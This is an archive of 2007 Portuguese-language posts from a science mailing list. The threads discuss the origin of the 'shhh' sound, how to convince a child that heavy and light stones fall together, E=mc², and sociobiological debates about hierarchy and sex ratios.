> > Li em algum lugar (livro do Sagan, talvez) que seria uma imitação do
> > chocalho de serpentes, de modo a incutir medo às criancinhas...
> > Isso procede, alguém tem alguma fonte ou isso é só uma suposição?
> >>>
>
> Isso é mencionado pelo Sagan em "Os Dragões do Éden". Aparentemente o
> som seria universal, em todas culturas se você sibilar, as pessoas
> farão silêncio -- do que me lembro do livro.
>

Exato. Acabei de ler esse trecho. E essa eh apenas uma das muitas
especulacoes interessantes presentes na obra.

Alias, o livro me parece excelente, mas fico constantemente me
perguntando sobre a atualidade dele - afinal, foi escrito em 1977.
Principalmente no campo das neurociencias, ao qual Sagan devota todo o
capitulo 3, sei que muita coisa mudou desde entao. So nao sei avaliar
o que ja esta desatualizado e o que ainda vale.

Abracos,

Marcelo Cortimiglia

> É uma especulação, como a do Desmond Morris, de que os grandes peitos
> das fêmeas humanas evoluíram para imitar sua bunda e chamar atenção
> dos machos para a parte superior frontal das mulheres (ele também
> oferece vários argumentos, como o de que os peitos fartos das mulheres
> não fazem muito sentido porque chegam mesmo a dificultar a
> amamentação).
>
> Abraços,
>
> Mori
>


SUBJECT: Re: [ciencialist] Origem do som usado para pedir silêncio
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 14:09

O Noam Chomsky trabalha muito com isso em sua teoria de linguagem. "Os
Caminhos do Poder" tem algumas de suas teorias, embora a maior parte seja
sobre política. Eu tinha o ebook , mas nao lembro mais onde tinham
disponibilizado.

Gil

Em 01/05/07, Marcelo Cortimiglia <cortimiglia@gmail.com> escreveu:
>
> Em 10/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
> >
> > On 4/9/07, Nando <nando.str@gmail.com> wrote:
> > > Aquele 'shhh' que todos fazem quando querem que seja feito silêncio...
> > > qual a origem desse som?
> > > Li em algum lugar (livro do Sagan, talvez) que seria uma imitação do
> > > chocalho de serpentes, de modo a incutir medo às criancinhas...
> > > Isso procede, alguém tem alguma fonte ou isso é só uma suposição?
> > >>>
> >
> > Isso é mencionado pelo Sagan em "Os Dragões do Éden". Aparentemente o
> > som seria universal, em todas culturas se você sibilar, as pessoas
> > farão silêncio -- do que me lembro do livro.
> >
>
> Exato. Acabei de ler esse trecho. E essa eh apenas uma das muitas
> especulacoes interessantes presentes na obra.
>
> Alias, o livro me parece excelente, mas fico constantemente me
> perguntando sobre a atualidade dele - afinal, foi escrito em 1977.
> Principalmente no campo das neurociencias, ao qual Sagan devota todo o
> capitulo 3, sei que muita coisa mudou desde entao. So nao sei avaliar
> o que ja esta desatualizado e o que ainda vale.
>
> Abracos,
>
> Marcelo Cortimiglia
>
> > É uma especulação, como a do Desmond Morris, de que os grandes peitos
> > das fêmeas humanas evoluíram para imitar sua bunda e chamar atenção
> > dos machos para a parte superior frontal das mulheres (ele também
> > oferece vários argumentos, como o de que os peitos fartos das mulheres
> > não fazem muito sentido porque chegam mesmo a dificultar a
> > amamentação).
> >
> > Abraços,
> >
> > Mori
> >
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> http://www.ciencialist.com
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SUBJECT: Re: [ciencialist] Caiu na prova
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/05/2007 20:00

Caro Prof.JC,

Quando lí esta questão, pensei o único que podia pensar: nada de trivial,a não só para quem é
maiorzinho de 8 anos... Mas não me animei em dar uma resposta. Hoje, pude acessar novamente minha caixa
e ví que os listeiros também não. Então, resolví falar um pouco. Mas fiz um teste. Meus sobrinhos estavam aquí
e peguei o do primeiro ano do segundo grau, que ainda não chegou nessas paragens. Primeiro, me disse que nada
sabia a respeito. Fiz-lhe a pergunta clássica, e ele respondeu como Aristóteles faria: é claro que a pedra pesada
chega ao solo primeiro que a outra, a mais leve! No exemplo seguinte, substituí a pedra mais leve por um pedaço
de papel. A resposta foi mais enfática ainda. Depois que ele me disse que o ar poderia influenciar nos movimentos,
indaguei: e se o ar fosse eliminado, como seriam as coisas agora? A resposta foi a mesma!. Acrescentando que
os corpos "desceriam" mais livremente!...
Então, depois de dizer-lhe que não era assim, passei aos seguintes argumentos:

1) Aquele que foi usado brilhantemente por Galileu, ao questionar as idéias de Aristóteles: se uma pedra pesada, A, estiver ligada a uma pedra mais leve, B, por um fio muito delgado, e se o conjunto for solto do alto de um edifício, ao mesmo tempo, o fio que interliga os dois retarda ou aumenta a velocidade com que o corpo cai? Se a proposição de Aristóteles está correta, acontecerá o seguinte:
a pedra A será retardada pela pedra B, que "anda" mais devagar. Mas, considerando o sistema pedra A+pedra B + fio muito delgado, teremos um corpo que é mais pesado que a pedra A sozinha. Assim, esse conjunto deverá cair mais rapidamente que a pedra A, segundo o mesmo Aristóteles. Assim, teremos uma situação esquesita: um corpo que retarda e adianta, ao mesmo tempo! Evidentemente, segundo Galileo e qualquer cara de juízo na cabeça, é de se concluir que isto não pode acontecer, que Aristóteles estava equivocado. Portanto, o jeito de eliminar este paradoxo(este, sim, um verdadeiro paradoxo) é admitir que tanto a pédra pesada A quanto a pedra menos pesada B caem do mesmo jeito, se considerado, claro, que o experimento é feito no vácuo; nessas condições, se largados no mesmo instante, chegarão ao solo no mesmo instante.
-Me disse, o sobrinho menos sabido, que o raciocícnio parecia lógico, mas ainda ficou um tempão olhando para teto, buscando entender melhor ou descobrir uma falha no raciocínio. Mas disse que entendeu; mas percebí que a convicção não era lá tanta convicção!

Usei, então, outro argumento:

2) Como ele anda de elevador, e sabe que quando o elevador está descendo ele tem aquela sensação esquesita, como se o estômago estivessa subindo(aquele famoso friozinho), e tem a impressão de que pesa menos, usei um exemplo típico: o elevador está amarrado por uma corda, que limita o seu movimento acelerado descendente. Se a corda for afrouxada o suficiente, isto dará ao passageiro a nítida sensação de que seu peso é menor do que se estivesse parado. Pareceu-me que disto, tem a noção prática, pois não questionou. O efeito sobre seu estômago é a testemunha, nisso concordou! Se agora, num dado instante da "queda" controlada, alguém cortar a corda(corda afrouxada totalmente...), o elevador despencará de vez e a força total sobre o passageiro será zero, pelo que seu peso aparente irá a zero. Poderá até ficar com os pés no piso, mas poderá igualmente levantá-los, pois ficará aí, flutuando, feito alma no céu. Tudo que está à sua volta sofrerá os mesmos efeitos, cairá do mesmo jeito para um observador inercial fora do elevador e estará em repouso relativo uns em relação aos outros, dentro do elevador. A pedra A e a pedra B, dentro do elevador,estariam paradas uma em relação à outra ou a qualquer coisa dentro do elevador. Mas um observador de fora, veria isto: a pedra A caindo ao lado da pedra B, enquanto o elevador, pedras e passageiros rumam para o desfecho final: bum!, ao colidir com o solo.(Pois, o sistema todo estará acelerado, ainda que os passageiros não saibam disso, em condições adequadas).

E, finalmente, um último cartucho:

3)Finalmente, apelei para a Primeira Lei de Newton, que disse já conhecer. Antes de cortar a corta do elevador, todo mundo estava em repouso relativo, dentro do elevador(em relação a um referencial ligado ao elevador). Quando a corda é cortada, nenhuma força resultante haverá sobre ninguém, dentro do elevador; então, para o referencial do elevador, pela Primeira Lei de Newton, todos os corpos permanecerão em repouso. Mais uma vez, quem está de fora, verá todos caminharem para a destruição do mesmo jeito, bem comportadinhos, a mesma aceleração.

Bem, mesmo assim, fiquei com a impressão de que ele precisará amadurecer mais, para absorver com mais propriedade as "trivialidades" acima. Talvez seja mais conveniente eu admitir que não fui competente na explicação e que fico devendo essa a ele. Mas voltarei a conversar, quando ele emadurecer mais o papo acima. Garantiu que irira pensar mais. Mas acabaou achando o assunto bem interessante e estimulante.

Uma das coisas que questionou foi sobre a queda, em si. E quer dizer que em queda livre você está flutuando, nada acontecerá? Pois não é isso que vejo quando alguém cai. Quebrei meu braço ano passado numa queda. Expliquei que a ausência de forças corre apenas
dentro do elevador, do ponto de vista do referencial ligado a ele. (Não foi explicado a ele que isto acontece devido a forças de inércia(impropriamente chamadas de fictíciais-ou não?) que surgem única e exclusivamente em sistemas acelerados, e devidas única e exclusivamente às acelerações, para grantir que a segunda lei de Newton seja válida dentro deles)). Uma mão lava a outra. Mas, se ele olhar para baixo, verá a terra acelerada em direção a ele, com aceleração g, como se estivesse sendo impulsionada por motores altamente potentes. (Que o melhor seria ele sair da frente e deixar que ela passe, senão...). Quer dizer, do ponto de vista de efeitos globais, nada muda, quer o referencial usado seja o o fixo ao elevador, ou o fixo em relação à terra. Cada um um destes "vê" o outro acelerado(Vale sempre o princípio da relatividade de todos os movimentos). E é onde mora o perigo. Quando se chocam, adeus.
Bem, isto ele entendeu. Acho que vai se dedicar à mecânica, como disse. Ele tem 15 anos. É aluno dedicado e estuda num bom colégio. Eu não saberia dizer se um garoto de 8 anos teria alguma noção do que quis dizer acima, mesmo melhorando os dizeres, exemplos, etc. Mas irei tentar. Estou curioso para saber que explicação você, ou alguém mais, daria a ele( o de 8) tal que ele compreeendesse.

Bem, caro Professor, esta minha tentativa de ser claro a respeito de algo que não é trivial, embora pareça. Este assunto, por si só,
daria umas trocentas mensagens.

Dos 3 argumentos, o de que mais gostou, foi exatamente o primeiro!

Espero que quando o amigo JR deixar o coitado do avião voar possamos tratar de assuntos assim.

Sds,
Victor.




----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 29, 2007 9:28 PM
Subject: [ciencialist] Caiu na prova


Questãozinha que caiu na minha prova de Física para os aluninhos do
primeiro colegial:

Suponha que uma criança de oito anos lhe pergunte "quem cai mais
rápido: uma pedra pesada ou uma pedra mais leve?". O que você
responderia para ela e como a convenceria de sua reposta?

Abraços,
JC





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Questões sociobiológicas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 20:25

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Mesmo que a alta hierarquia apenas leve a produção de uma prole de
> melhor qualidade, e não mais numerosa, ainda assim a seleção deveria
> se sensibilizar com isso.

Vamos supor um grupo de organismos com hierarquia fixa - o q na
prática nos daria uma especiação, mas enfim. Se a prole é menor e se a
taxa de mutação por prole é mantida, haverá um número absoluto de
mutantes por geração muito menor. Então se pegarmos uma dada unidade
de tempo, a quantidade de variantes é muito menor. Digamos, em vez de
um mutante a cada três gerações por família, teríamos um mutante a
cada cem gerações por família. Consideremos q a probabilidade de
ocorrer mutação q promova alteração na proporção sexual seja de 1 a
cada 10 mil mutações. Isso significa q esperaríamos - na média - q
essa mutação surgisse apenas uma vez em milhão gerações por família.
Se considerarmos uma geração de 10 anos, esperaríamos uma mutação a
cada 10 milhões de anos por família.

Considere ainda q haja mm vantagem no desvio da proporção sexual entre
os hierarcas. De qto é a vantagem? Se for baixa, ainda maior o atraso
para q a mutação se espalhe. Consideremos q seja alta - 100%. Nesse
caso, ela se espalha rapidamente - mas não apenas isso, o desvio
esperado será de 100% - isto é, 100% da prole de um dos sexos. Muito
bem, agora a pergunta: com quem é q essa prole terá filhos?

Se estamos supondo uma hierarquia fixa, os hierarcas com prole
desviada tenderão a sumir. Nesse caso como sabemos q existem hierarcas
então pelo menos uma das suposições está errada: hierarquia fixa,
vantagem seletiva absoluta para o desvio total na proporção sexual ou
outra suposição implícita.

O problema desse modelo é q ele não tem nenhuma base empírica.
Primeira pergunta: "por q é q os hierarcas deveriam apresentar desvio
na razão sexual?"

> > A seleção natural só percebe se: houver diferença de oportunidades
> - o q implica tb na existência de variabilidade.
>
> No que diz respeito à hierarquia, existem diferenças de
> oportunidades se você está no topo ou em baixo.

Não é essa a diferença q interessa, uma vez q estamos falando de
desvio na razão sexual com a hierarquia e não simplesmente em
oportunidades de ser ou não socialmente mais bem aquinhoado. A
pergunta é: qual a vantagem reprodutiva dos hierarcas com prole com
desvio na razão macho/fêmea?

> A seleção não precisa amarrar o macaco a uma única estratégia.
> Enquanto ele for um macaco de baixa hierarquia ele poderia produzir
> mais fêmeas, e quando subir na hierarquia começará a produzir mais
> machos. As estratégias evolutivas são plásticas, e se ajustam às
> condições sociais e ambientais do momento.

Se vc tem desvio na razão sexual por motivos evolutivos, então esse
devio é genético. Se vc vai atribuir esse grau de plasticidade então
poderia se perguntar: por q é q os seres humanos não mudam seu sexo de
acordo com o ambiente? Por q é a seleção natural não enxerga q se a
pessoa muda de sexo de acordo com a disponibilidade de parceiro então
suas chances de ter filhos aumenta? Afinal, há peixes q mudam de sexo.

Se vc aceita as restrições evolutivas q fizeram com q humanos tivessem
uma estratégia fixa no q se refere à determinação sexual, não terá q
clamar por plasticidade na razão sexual - sobretudo qdo não temos
indícios empíricos de q tal desvio seja mm vantajoso. Do contrário
estaríamos nos perguntando: por q a seleção natural não criou humanos
q respirassem debaixo da água? por q os humanos não voam?

> Também acho. Mas penso que em uma relação entre marido e esposa (nas
> sociedades antigas, pois acredito que o que se tem hoje não é mais
> casamento, e sim uma mistura de namoro com casamento, ou

Agora vc está fazendo especulação a respeito de uma especulação. Não
costuma dar bons resultados. O melhor é partir de um fato empírico e
tentar elaborar uma hipótese explicativa para esse fato (e depois
testar a hipótese) e não partir de uma hipótese especulativa e querer
uma explicação para o porq dessa hipótese especulativa não ser observada.

[]s,

Roberto Takata



SUBJECT: Re: Caiu na prova
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 20:27

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Suponha que uma criança de oito anos lhe pergunte "quem cai mais
> rápido: uma pedra pesada ou uma pedra mais leve?". O que você
> responderia para ela e como a convenceria de sua reposta?

Mostraria o filme do astronauta abandonando uma pena e um martelo
próximo à superfície da Lua.

[]s,

Roberto Takata



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 20:38

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> C2, velocidade da luz ao quadrado é o que?

É metro a quadrado sobre segundo ao quadrado em termos de unidades
(SI). Em termos de grandeza é o quadrado da velocidade.

Trata-se de uma constante.

De onde ela surge fica claro qdo se estuda a dedução da fórmula - q
não foi na base de suposições místicas do tipo "como energia é
movimento então farei com q energia seja igual à massa se deslocando...".

(Curiosamente a primeira dedução einsteniana da equivalência
massa-energia, envolvia o fator 'ele'. Mais tarde Eistein percebeu q
esse fator era constante e tinha um valor unitário, ou seja, era
desnecessário na fórmula, uma vez q era uma constante multiplicativa.
Esse fato demonstra diversos aspectos importantes da produção do
conhecimento científico - uma delas é q ela passa por constantes
processos de revisão.)

Mas para vc entender o processo de dedução dessa famosa fórmula, posso
recomendar este artigo:

Uma comparação entre deduções da equação E=mc^2
http://www.sbfisica.org.br/rbef/Vol26/Num2/040103.pdf

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] Re: Caiu na prova
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/05/2007 20:42

Eu talvez dissesse: imagine um tijolo. Você larga, e ele cai no chão. Se eu
partir o tijolo ao meio, segurar as duas metades unidas, com as mãos e
largar, elas vão cair mais devagar por que cada metade e menor que o tijolo?
E se eu colar as metades de novo elas vão cair mais depressa?

E se forem duas pessoas pulando juntas, lado a lado e de pé, em uma piscina.
Se elas derem as mãos vão cair mais rápido do que se não derem?

Se nada disso der certo eu compro uma pena, um martelo e duas passagens pra
Lua.

[]s

Ricardo

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: terça-feira, 1 de maio de 2007 20:28
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: Caiu na prova

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Suponha que uma criança de oito anos lhe pergunte "quem cai mais
> rápido: uma pedra pesada ou uma pedra mais leve?". O que você
> responderia para ela e como a convenceria de sua reposta?

Mostraria o filme do astronauta abandonando uma pena e um martelo
próximo à superfície da Lua.

[]s,

Roberto Takata



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SUBJECT: RES: [ciencialist] Re: Caiu na prova
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 21:03

--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Se nada disso der certo eu compro uma pena, um martelo e duas
> passagens pra Lua.

A questão do professor Zeca (não o do pagode) envolve tb psicologia e
não apenas física. O gedanken de Galileu pode ser abstrato demais para
um garoto de 8 anos.

Fico com o filme (e.g.):
http://youtube.com/watch?v=5C5_dOEyAfk

A explicação abstrata pode funcionar melhor como complemento -
explicando depois o q se observa no filme. (Claro, teremos q garantir
ao garoto q o filme é verdadeiro e não uma trucagem "oliudeana".)

[]s,

Roberto Takata



SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 22:01

Olá, JC.

> Engels acreditava que a sociedade humana era matriarcalista e tem
bons argumentos para tal.

A antropologia, na época de Engels, era muito incipiente. A
etnografia só se torna rigorosa a partir do século XX. Acho difícil
que as sociedades humanas sejam matriarcais, embora haja pessoas que
defendam isso, principalmente após a elucidação da estrutura social
dos bonobos.

Se você puder relatar os argumentos de Engels eu ficaria muito
agradecido.

> Politica entre humanos é diferente de política entre animais.

É verdade. É bastante provável que a política humana tenha passado
por amplas transformações ao longo de nossa história evolutiva. Robin
Fox trata disso em seu importante "The red lampo of incest", no qual
ele retoma Freud em "Totem e tabu." Entre as coisas que se
desenvolveram ao longo de nossa evolução foram a formação de grupos
de familiares de natureza transcendental, contratos de casamento e
criação de regras que definiam como seria a distribuição de mulheres
entre os homens. Se diz que o casamento não é algo como a união entre
gibões ou passarinhos. Se existe um equivalente humano para essas
uniões, eu diria que é o namoro - uma união mediada por paixão,
companheirismo e sexo. Se existe um equivalente animal para o
casamento, eu diria que é a hierarquia primata. Uma ordem que diz
quem tem preferência, ou mesmo exclusividade, no acesso às fêmeas.

Um abraço.
João de Carvalho.




SUBJECT: Re: Questões sociobiológicas
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 22:35

Olá João,

Fico lhe devendo os argumentos de Engels por pura falta de tempo para
procurá-los, mas se você tiver em mão o livrinho "A origem da família,
da propriedade privada e do estado" (Ed. Civilização Brasileira, 10a
ed. - Coleção Perspectivas do Homem, vol. 99 da série Ciências
Sociais) poderá encontrá-los você mesmo. Já faz um bom tempo que li
isso e não me pareceu muito tolo, ainda que desatualizado. Já em "O
macho demoníaco" (Richard W e Dale P., Ed. Objetiva, 1998) você pode
encontrar também alguma coisa sobre a organização social dos Bonodos e
as origem da hierarquia humana herdada de primatas, inclusive jogos
políticos bem parecidos com os nossos.

Fico lhe devendo uma conversa mais aprofundada porque realmente tenho
milhares de outras coisas na fila e há pessoas muito mais bem
qualificadas do que eu nessa lista para tratarem o assunto contigo.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Olá, JC.
>
> > Engels acreditava que a sociedade humana era matriarcalista e tem
> bons argumentos para tal.
>
> A antropologia, na época de Engels, era muito incipiente. A
> etnografia só se torna rigorosa a partir do século XX. Acho difícil
> que as sociedades humanas sejam matriarcais, embora haja pessoas que
> defendam isso, principalmente após a elucidação da estrutura social
> dos bonobos.
>
> Se você puder relatar os argumentos de Engels eu ficaria muito
> agradecido.
>
> > Politica entre humanos é diferente de política entre animais.
>
> É verdade. É bastante provável que a política humana tenha passado
> por amplas transformações ao longo de nossa história evolutiva. Robin
> Fox trata disso em seu importante "The red lampo of incest", no qual
> ele retoma Freud em "Totem e tabu." Entre as coisas que se
> desenvolveram ao longo de nossa evolução foram a formação de grupos
> de familiares de natureza transcendental, contratos de casamento e
> criação de regras que definiam como seria a distribuição de mulheres
> entre os homens. Se diz que o casamento não é algo como a união entre
> gibões ou passarinhos. Se existe um equivalente humano para essas
> uniões, eu diria que é o namoro - uma união mediada por paixão,
> companheirismo e sexo. Se existe um equivalente animal para o
> casamento, eu diria que é a hierarquia primata. Uma ordem que diz
> quem tem preferência, ou mesmo exclusividade, no acesso às fêmeas.
>
> Um abraço.
> João de Carvalho.
>




SUBJECT: Re: [ciencialist] Re: Caiu na prova
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/05/2007 22:38

Ô Zé:

como não tenho o filme eu procuraria um edifício ou estrutura onde poderíamos fazer a experiência.
Meu professor fazia essa experiência deixando cair um tijolo e 1 pacote de algodão ambos com o mesmo peso, pesados na frente dos alunos, e os deixava cair sobre os pés do mais esperto da classe.

sds.,
silvio
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 01, 2007 8:27 PM
Subject: [ciencialist] Re: Caiu na prova


--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Suponha que uma criança de oito anos lhe pergunte "quem cai mais
> rápido: uma pedra pesada ou uma pedra mais leve?". O que você
> responderia para ela e como a convenceria de sua reposta?

Mostraria o filme do astronauta abandonando uma pena e um martelo
próximo à superfície da Lua.

[]s,

Roberto Takata






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SUBJECT: Re: Caiu na prova
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 22:49

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> Meu professor fazia essa experiência deixando cair um tijolo e 1
> pacote de algodão ambos com o mesmo peso, pesados na frente dos
> alunos, e os deixava cair sobre os pés do mais esperto da classe.

Se ambos têm o mm peso não serve como demonstração pretendida - q é a
de q objetos de pesos DIFERENTES chegam (ou não chegam) ao mm tempo.

[]s,

Roberto Takata



SUBJECT: Caiu na prova - JC
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 23:03

Olá pessoas,

Que bom que vocês resolveram retomar o probleminha que dei para meus
aluninhos do primeiro colegial da escolinha pública onde leciono. Eles
estão chegando no ensino médio agora, vindos de uma "progressão
continuada" cujos efeitos são um tanto "desastrosos" e equiparam-se em
muitos aspectos aos garotos de oito anos de idade.

Mas eles tiveram alguma vantagem sobre vocês na busca da solução do
probleminha porque tiveram acesso ao material que estou escrevendo no
meu curso de Física Online, onde essa questão é tratada e onde são
apresentadas as soluções de Galileu (prática - mais lenda que fato - e
teórica, que é um belo exercício de lógica aristotélica) e uma
atividade que permite estabelecer decentemente o conceito básico e
extendê-lo considerando a influência do ar sobre os movimentos de queda.

A pergunta é muito boa, apesar de aparentemente simples, e fica ainda
melhor quando você é obrigado a responder quem cai primeiro e
convencer de sua resposta a uma audiência que não entende patavinas
das leis de Newton, nunca ouviu falar em gravidade e tem concepções
erradas do fenômeno, mesmo porque porque essas concepções erradas
(aristotélicas) são bem mais "naturais" do que a concepção correta.

Eu propús essa questão aqui para ver se alguém teria a brilhante idéia
de Galileu que acabou por transformar o mundo dando origem ao tal
"método científico" baseado em experimentação. Ou muito me engano ou
ninguém aqui parece ser um fiel seguidor de Galileu (e nem nos e-mails
que recebi em PVT), pois ninguém propôs o que ele propôs: "faça e
veja"! :)

Na verdade a solução é extremamente simples: você pega duas pedras,
uma pesada e uma bem mais leve, segura ambas a uma mesma altura e
então as solta simultaneamente. Não é preciso dizer mais nada! :)

Se quiser pode repetir isso com diferentes pedras. A menos que o José
Renato apareça com seus referenciais múltiplos para provar que pedras
voam (e não aviões), você obterá sempre o mesmo e fascinante
resultado: elas caem jutinhas! Incrível, não?

Ocorre que por ser tão simples as pessoas geralmente não fazem isso e
nem lhes ocorre fazer. O vídeo proposto pelo Takata é uma boa maneira
de "consolidar" o conceito, mas é dispensável como argumento de
convencimento em vista da facilidade de se soltar duas pedras (ou
quantas você quiser) na frente do garoto.

Eu faço isso em sala de aula usando um apagador e um pedaço de giz que
vou quebrando e soltando até que ele fique tão pequeno que quase nem
se consegue vê-lo. Os alunos ficam fascinados ao verem aquele
pedacinho ridículo de giz empatando sempre com o apagador (daqueles
grandões e pesados). :)

Bom, espero que tenham gostado. Se quiserem colocarei aqui, de vez em
quando, alguma questão que dou para meus aluninhos, como por exemplo
essa que gosto de pedir aos meus aluninhos do terceiro colegial tão
logo eles revisem o modelo atômico de Rutherford e tenham uma noção de
tamanhos relativos em escalas muito pequenas, logo no início da
eletrostática: "A matéria que compõe tanto você quanto a parede ocupa
bem menos que 0,0000000001% do espaço por onde ela está distribuída.
Portanto, você, a parede e praticamente tudo o que conhecemos são
essencialmente VAZIOS. Em vista disso, responda: porque não
conseguimos atravessar paredes como os fantasminhas dos filmes e
desenhos animados?".

Aliás, se quiserem quebrar a cabeça nessa... Divirtam-se. :)

Abraços,
JC



SUBJECT: Dia do trabalho: dedicando o trabalho.
FROM: "Enio Marcos" <eniomarcos@gmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/05/2007 23:21

As pessoas pensam sobre trabalho e acham que é algo feito para os outros...
O verdadeiro trabalho, é interno. É a vida, constante.
A esse trabalho, de viver, é que dedicamos as coisas que mais achamos
importantes. Alguns dedicam esse viver ao trabalho - esse dos pilas - só
porque isso é maneira de cuidarem do que ainda amam mais... Não é essa a
meta que as emociona, mas a quem ou ao que dedicam esse trabalho, a meta
final, onde colocam seu amor.

Lavar um prato é trabalho, certo? Mas se pensar que este trabalho é dedicado
ao bem do lar, do espaço onde se está e seu cheiro, sua aparência e,
principalmente, sua saúde... O que é lavar um prato? Trabalho chato ou um
trabalho dedicado a algo que achamos que vale a pena, que amamos: "O bom
cheiro e nossa saúde."? :)

Se você, durante o seu trabalho, não sabe a que ou quem está dedicando esse
trabalho. Pare para pensar... É pessoa? Idéia? Expectativa? Sonho?
Esperança? Meta? Sensação? Relacionamento? Gosto? Mania? Interesse? Hobby?
Humanitário? Ecológico?

Todo o trabalho da minha vida, de respirar a lavar um prato, de lavar as
mãos até aprender tecnologia, é dedicado a progredir. As vezes dou uma
escorregada e me esqueço de que é andando que se anda. Ou melhor, de que é
preciso pagar o preço e seguir. Que o estado mais parado e eterno é o
fim(existe?). E que, portanto, iremos seguir andando, da forma que for,
antes de "morrermos"... Porque então não fazer desse caminho todo algo pelo
que vale a pena se dedicar? Porque não manter "um norte"?

Se não temos como escapar da vida, então se ela incluir trabalho, que ele
seja um trabalho interno, de construção de nós mesmos e do que mais se
atravessar na frente! É interdependente... Quem se ajuda está ajudando
sempre ao redor.

O trabalho de escrever este e-mail dedico aos mestres. Aqueles todos de
todos os tipos de momentos. Da 9ª sinfonia às folias(ou seria o contrário?).



SUBJECT: Re: Dia do trabalho: dedicando o trabalho.
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 23:25

--- Em ciencialist@yahoogrupos.com.br, "Enio Marcos" <eniomarcos@...>
> Lavar um prato é trabalho, certo?

Feliz dia do Fxd

[]s,

Roberto Takata



SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 23:26

Olá, Takata.

> Vamos supor um grupo de organismos com hierarquia fixa - o q na
> prática nos daria uma especiação, mas enfim. Se a prole é menor e
se a
> taxa de mutação por prole é mantida, haverá um número absoluto de
> mutantes por geração muito menor. Então se pegarmos uma dada unidade
> de tempo, a quantidade de variantes é muito menor. Digamos, em vez
de
> um mutante a cada três gerações por família, teríamos um mutante a
> cada cem gerações por família. Consideremos q a probabilidade de
> ocorrer mutação q promova alteração na proporção sexual seja de 1 a
> cada 10 mil mutações. Isso significa q esperaríamos - na média - q
> essa mutação surgisse apenas uma vez em milhão gerações por família.
> Se considerarmos uma geração de 10 anos, esperaríamos uma mutação a
> cada 10 milhões de anos por família.

Takata, eu não sou tão inteligente quanto você, e creio que não
entendi direito o que você disse acima. Vou tentar de novo outra
hora, sem maconha na cabeça.

> Considere ainda q haja mm vantagem no desvio da proporção sexual
entre
> os hierarcas. De qto é a vantagem? Se for baixa, ainda maior o
atraso
> para q a mutação se espalhe. Consideremos q seja alta - 100%. Nesse
> caso, ela se espalha rapidamente - mas não apenas isso, o desvio
> esperado será de 100% - isto é, 100% da prole de um dos sexos. Muito
> bem, agora a pergunta: com quem é q essa prole terá filhos?

Você está em uma linha de raciocínio que eu não consigo entender. Mas
posso pelo menos responder a sua pergunta: Os homens de alta
hierarquia acasalariam com as mulheres que seriam produzidas pelos de
mais baixa hierarquia.

> O problema desse modelo é q ele não tem nenhuma base empírica.
> Primeira pergunta: "por q é q os hierarcas deveriam apresentar
desvio
> na razão sexual?"

Homens de alta hierarquia podem acasalar (ou mesmo casar, em algumas
culturas), com mais mulheres que os de baixa. (Note que não estou
dizendo que a prole produzida será geneticamente de alta hierarquia.
Se o filho do macho dominante decair na hierarquia, ele deveria
produzir mais mulheres.) Sendo de baixa hierarquia, é mais fácil
ascender socialmente através do casamento se o indivíduo é mulher, e
com certeza será inseminada por alguém. Já um homem de baixa
hierarquia irá acasalar com poucas, ou nenhuma, mulher (se a
sociedade for poligâmica).

> > No que diz respeito à hierarquia, existem diferenças de
> > oportunidades se você está no topo ou em baixo.
>
> Não é essa a diferença q interessa, uma vez q estamos falando de
> desvio na razão sexual com a hierarquia e não simplesmente em
> oportunidades de ser ou não socialmente mais bem aquinhoado.

Essa diferença interessa. Nós estamos falando de desvio na produção
de prole, e não na estrutura social.

> A pergunta é: qual a vantagem reprodutiva dos hierarcas com prole
com
> desvio na razão macho/fêmea?

A pergunta está respondida logo acima.

> > A seleção não precisa amarrar o macaco a uma única estratégia.
> > Enquanto ele for um macaco de baixa hierarquia ele poderia
produzir
> > mais fêmeas, e quando subir na hierarquia começará a produzir
mais
